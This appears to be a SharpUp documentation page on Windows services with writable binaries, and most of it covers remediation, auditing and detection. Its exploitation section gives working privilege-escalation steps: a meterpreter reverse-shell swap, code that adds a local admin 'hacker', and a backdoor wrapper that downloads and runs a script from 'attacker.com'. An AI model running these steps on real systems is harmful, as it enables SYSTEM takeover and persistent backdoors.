Modifiable Service Binaries

Overview

The Modifiable Service Binaries check identifies Windows services where the service executable or DLL has weak file permissions. If a non-privileged user can modify a service binary, they can replace it with malicious code that will execute with the service’s privileges (often SYSTEM).

How It Works

SharpUp enumerates all services via WMI and checks if their binary paths are writable:

Query all services using Win32_Service
Extract the executable path from PathName
Check if current user can modify the binary file
Report vulnerable services with their state and startup mode

Technical Details

// Simplified logic
foreach (service in Get-Services()) {
    string binaryPath = ExtractExePath(service.PathName);
    if (CanModifyFile(binaryPath)) {
        Report(service.Name, service.State, service.StartMode, binaryPath);
    }
}

The check uses regex to extract the executable path from service PathName, which may include arguments.

Example Output

=== Modifiable Service Binaries ===
    Service 'VulnSvc' (State: Running, StartMode: Automatic) : C:\Program Files\VulnApp\service.exe
    Service 'BackupService' (State: Stopped, StartMode: Manual) : C:\Services\backup.exe

Interpretation:

VulnSvc is currently running and starts automatically
You can modify C:\Program Files\VulnApp\service.exe
Restarting the service will execute your modified binary with service privileges

Exploitation

Method 1: Direct Binary Replacement

# Backup original binary
$servicePath = "C:\Program Files\VulnApp\service.exe"
Copy-Item $servicePath "$servicePath.bak"

# Create malicious binary (using msfvenom)
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o malicious.exe

# Replace service binary
Copy-Item C:\temp\malicious.exe $servicePath -Force

# Restart service
Restart-Service -Name VulnSvc

# Or if service is stopped and set to Automatic, reboot
shutdown /r /t 0

Method 2: Add Local Admin

# Create executable that adds user to administrators
$code = @"
using System;
using System.Diagnostics;

namespace AddAdmin {
    class Program {
        static void Main() {
            Process.Start("cmd.exe", "/c net user hacker P@ssw0rd123! /add");
            Process.Start("cmd.exe", "/c net localgroup administrators hacker /add");
        }
    }
}
"@

Add-Type -TypeDefinition $code -OutputAssembly "C:\temp\addadmin.exe"

# Replace service binary
Copy-Item "C:\temp\addadmin.exe" "C:\Program Files\VulnApp\service.exe" -Force

# Restart service
net stop VulnSvc
net start VulnSvc

Method 3: Service Binary as Backdoor

# Create service binary that runs payload then original service
$wrapper = @"
#include <windows.h>
#include <stdio.h>

int main() {
    // Run malicious payload
    system("powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload')");

    // Run original service
    STARTUPINFO si = {sizeof(si)};
    PROCESS_INFORMATION pi;
    CreateProcess("C:\\Program Files\\VulnApp\\service.exe.bak", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

    return 0;
}
"@

# Compile wrapper, replace service binary
# Service appears to work normally but also runs your payload

Remediation

Identify Vulnerable Binaries

# Check permissions on service binaries
Get-WmiObject Win32_Service | ForEach-Object {
    if ($_.PathName -match '(.+\.exe)') {
        $exePath = $matches[1].Trim('"')
        if (Test-Path $exePath) {
            $acl = Get-Acl $exePath
            $vulnerableAcls = $acl.Access | Where-Object {
                $_.IdentityReference -match "Users|Everyone|Authenticated Users" -and
                $_.FileSystemRights -match "Write|Modify|FullControl"
            }

            if ($vulnerableAcls) {
                Write-Host "[!] Vulnerable: $($_.Name)" -ForegroundColor Red
                Write-Host "    Binary: $exePath"
                $vulnerableAcls | ForEach-Object {
                    Write-Host "    $($_.IdentityReference) : $($_.FileSystemRights)"
                }
            }
        }
    }
}

Fix Binary Permissions

# Set secure permissions on service binary
$serviceBinary = "C:\Program Files\VulnApp\service.exe"

# Reset permissions
icacls $serviceBinary /reset
icacls $serviceBinary /inheritance:r

# Grant appropriate access
icacls $serviceBinary /grant:r "SYSTEM:F"
icacls $serviceBinary /grant:r "Administrators:F"
icacls $serviceBinary /grant:r "Users:RX"

Write-Host "[+] Secured: $serviceBinary"

Fix Parent Directory Permissions

# Also secure the parent directory to prevent replacement
$serviceDir = Split-Path $serviceBinary

icacls $serviceDir /inheritance:r
icacls $serviceDir /grant:r "SYSTEM:(OI)(CI)F"
icacls $serviceDir /grant:r "Administrators:(OI)(CI)F"
icacls $serviceDir /grant:r "Users:(OI)(CI)RX"

Bulk Remediation Script

# Fix all vulnerable service binaries
Get-WmiObject Win32_Service | ForEach-Object {
    if ($_.PathName -match '(.+\.exe)') {
        $exePath = $matches[1].Trim('"')

        if (Test-Path $exePath) {
            Write-Host "[*] Processing: $($_.Name)"

            # Set permissions on binary
            icacls $exePath /reset | Out-Null
            icacls $exePath /inheritance:r | Out-Null
            icacls $exePath /grant:r "SYSTEM:F" | Out-Null
            icacls $exePath /grant:r "Administrators:F" | Out-Null
            icacls $exePath /grant:r "Users:RX" | Out-Null

            Write-Host "[+] Secured: $exePath"
        }
    }
}

Verify Fix

# Re-run check
SharpUp.exe ModifiableServiceBinaries

Recommended Permissions

For service binaries:

SYSTEM: Full Control
Administrators: Full Control
Users: Read & Execute only
TrustedInstaller: Full Control (for system services)

Inheritance: Disabled (permissions explicitly set)

Detection

Defensive Monitoring

# Monitor file modifications to service binaries
$services = Get-WmiObject Win32_Service
foreach ($service in $services) {
    if ($service.PathName -match '(.+\.exe)') {
        $exePath = $matches[1].Trim('"')

        if (Test-Path $exePath) {
            # Enable auditing
            $acl = Get-Acl $exePath
            $auditRule = New-Object System.Security.AccessControl.FileSystemAuditRule(
                "Everyone",
                "WriteData,AppendData,WriteAttributes",
                "None",
                "None",
                "Success,Failure"
            )
            $acl.AddAuditRule($auditRule)
            Set-Acl $exePath $acl
        }
    }
}

# Monitor Event ID 4663 for file modifications
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} |
Where-Object {$_.Message -match '\.exe' -and $_.Message -match 'WriteData|AppendData'}

Detection Strategies

File Integrity Monitoring
Permission Monitoring
Service Monitoring
Process Monitoring

Baseline all service binaries with cryptographic hashes
Alert on any modifications to service executables
Monitor file creation in service directories
Track file replacement activities

Real-World Scenarios

Scenario 1: Legacy Application Service

Context: Legacy application installed to C:\Apps with weak permissions. Service runs as LocalSystem.Attack Path:

Standard user identifies modifiable service binary
Replaces binary with malicious version
Waits for service restart or triggers it
Malicious code runs as SYSTEM
Complete system compromise

Prevention:

Install applications to Program Files
Use proper installer that sets correct permissions
Regular permission audits

Scenario 2: Third-Party Monitoring Agent

Context: Third-party monitoring agent has automatic updates that leave temporary files with weak permissions.Impact:

Attacker replaces agent binary during update
Agent runs on schedule with SYSTEM privileges
Lateral movement across all systems with agent installed

Solution:

Work with vendor to fix installer
Monitor agent directory for unauthorized changes
Use application whitelisting

Scenario 3: Custom IT Service

Context: IT team created custom service for automation, installed to C:\Scripts with Users having modify rights.Risk:

Any user can replace service binary
Service runs hourly as SYSTEM
Easy privilege escalation vector

Fix:

Move to Program Files\CustomService
Set proper permissions (Users read-only)
Review service account permissions

Prevention Best Practices

Install to Program Files

Always install services and applications to protected system directories.

Use Proper Installers

Use Windows Installer (MSI) which sets correct permissions by default.

Principle of Least Privilege

Run services with minimum required privileges, not SYSTEM when possible.

Regular Audits

Periodically audit service binary permissions across all systems.

Automated Audit Script

# Regular audit script - run via scheduled task
$report = @()

Get-WmiObject Win32_Service | ForEach-Object {
    if ($_.PathName -match '(.+\.exe)') {
        $exePath = $matches[1].Trim('"')

        if (Test-Path $exePath) {
            $acl = Get-Acl $exePath
            $vulnerable = $acl.Access | Where-Object {
                $_.IdentityReference -match "Users|Everyone|Authenticated Users" -and
                $_.FileSystemRights -match "Write|Modify|FullControl" -and
                $_.AccessControlType -eq "Allow"
            }

            if ($vulnerable) {
                $report += [PSCustomObject]@{
                    ServiceName = $_.Name
                    Binary = $exePath
                    State = $_.State
                    StartMode = $_.StartMode
                    VulnerableACE = ($vulnerable | Select-Object -ExpandProperty IdentityReference) -join ", "
                }
            }
        }
    }
}

if ($report) {
    $report | Export-Csv "C:\Audits\VulnerableServiceBinaries_$(Get-Date -Format yyyyMMdd).csv" -NoTypeInformation
    Send-MailMessage -To "security@company.com" -Subject "Vulnerable Service Binaries Found" -Body "See attached report" -Attachments "C:\Audits\VulnerableServiceBinaries_$(Get-Date -Format yyyyMMdd).csv"
}

Modifiable Services

Services with weak DACL permissions

Modifiable Service Registry Keys

Service registry keys with weak permissions

Unquoted Service Path

Services with unquoted paths containing spaces

Remediation Guide

Comprehensive remediation guidance

References

MITRE ATT&CK

T1574.010 - Hijack Execution Flow: Services File Permissions Weakness

Microsoft Security

Windows Security Policy Settings

Getting Started

Service Checks

Registry Checks

Credential Checks

DLL & Path Checks

Token & Privileges

Remediation

Overview

How It Works

Technical Details

Example Output

Exploitation

Method 1: Direct Binary Replacement

Method 2: Add Local Admin

Method 3: Service Binary as Backdoor

Remediation

Recommended Permissions

Detection

Defensive Monitoring

Detection Strategies

Real-World Scenarios

Prevention Best Practices

Install to Program Files

Use Proper Installers

Principle of Least Privilege

Regular Audits

Automated Audit Script

Modifiable Services

Modifiable Service Registry Keys

Unquoted Service Path

Remediation Guide

References

MITRE ATT&CK

Microsoft Security

Getting Started

Service Checks

Registry Checks

Credential Checks

DLL & Path Checks

Token & Privileges

Remediation

​Overview

​How It Works

​Technical Details

​Example Output

​Exploitation

​Method 1: Direct Binary Replacement

​Method 2: Add Local Admin

​Method 3: Service Binary as Backdoor

​Remediation

​Recommended Permissions

​Detection

​Defensive Monitoring

​Detection Strategies

​Real-World Scenarios

​Prevention Best Practices

Install to Program Files

Use Proper Installers

Principle of Least Privilege

Regular Audits

​Automated Audit Script

​Related Checks

Modifiable Services

Modifiable Service Registry Keys

Unquoted Service Path

Remediation Guide

​References

MITRE ATT&CK

Microsoft Security

Overview

How It Works

Technical Details

Example Output

Exploitation

Method 1: Direct Binary Replacement

Method 2: Add Local Admin

Method 3: Service Binary as Backdoor

Remediation

Recommended Permissions

Detection

Defensive Monitoring

Detection Strategies

Real-World Scenarios

Prevention Best Practices

Automated Audit Script

Related Checks

References